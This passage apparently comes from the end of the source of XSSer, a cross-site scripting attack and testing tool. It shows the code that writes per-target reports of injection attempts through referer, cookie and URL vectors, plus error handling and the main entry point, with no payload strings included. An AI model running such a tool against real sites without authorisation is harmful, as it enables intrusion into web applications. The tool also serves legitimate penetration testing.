  3723. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3724. elif h[2] == "COO":
  3725. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3726. else:
  3727. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3728. fout.write("="*75 + "\n\n")
  3729. fout.close()
  3730. else:
  3731. # some exits and info for some bad situations:
  3732. if len(self.hash_found) + len(self.hash_notfound) == 0 and not Exception:
  3733. self.report("\n[Error] XSSer cannot send any data... maybe -something- is blocking connection(s)!?\n")
  3734. if len(self.hash_found) + len(self.hash_notfound) == 0 and self.options.crawling:
  3735. if self.options.xsser_gtk:
  3736. self.report('='*75)
  3737. self.report("\n[Error] Not any feedback from crawler... Aborting! :(\n")
  3738. self.report('='*75 + '\n')
  3739. # print results to xml file
  3740. if self.options.filexml:
  3741. xml_report_results = xml_reporting(self)
  3742. try:
  3743. xml_report_results.print_xml_results(self.options.filexml)
  3744. except:
  3745. return
  3746. if __name__ == "__main__":
  3747. app = xsser()
  3748. options = app.create_options()
  3749. if options:
  3750. app.set_options(options)
  3751. app.run()
  3752. app.land(True)